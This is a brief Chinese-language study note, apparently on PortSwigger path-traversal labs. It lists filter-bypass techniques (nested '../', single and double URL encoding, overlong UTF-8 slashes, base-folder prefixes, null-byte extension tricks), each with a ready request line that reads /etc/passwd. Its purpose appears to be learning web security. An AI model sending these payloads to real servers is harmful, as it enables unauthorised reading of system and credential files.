PortSwigger - 路径遍历

8

在 Windows 上, 和../都是..\有效的目录遍历序列。

绝对路径绕过

这个就不说了,简单得很。

嵌套遍历绕过

后端非递归地将 ../ 删除后,可以绕过

比如:

/image?filename=..././..././..././..././..././etc/passwd
/image?filename=....//....//....//....//....//etc/passwd
/image?filename=....\/....\/....\/....\/etc/passwd

使用编码绕过

可以对字符进行 URL 编码,甚至双重 URL 编码来绕过 ../ 被清理

比如:

/image?filename=..%252f..%252f..%252f..%252fetc/passwd
/image?filename=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
/image?filename=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd
/image?filename=..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
/image?filename=..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc/passwd

验证路径开头

应用程序可能需要用户提供的文件名以预期的基本文件夹开头,例如/var/www/images在这种情况下,可能可以包含所需的基本文件夹,后跟适当的遍历序列。例如:

filename=/var/www/images/../../../etc/passwd

空字节绕过文件扩展名验证

应用程序可能需要用户提供的文件名以预期的文件扩展名结尾,例如.png. 在这种情况下,可以使用空字节在所需扩展名之前有效地终止文件路径。例如:

/image?filename=../../../../etc/passwd%00.png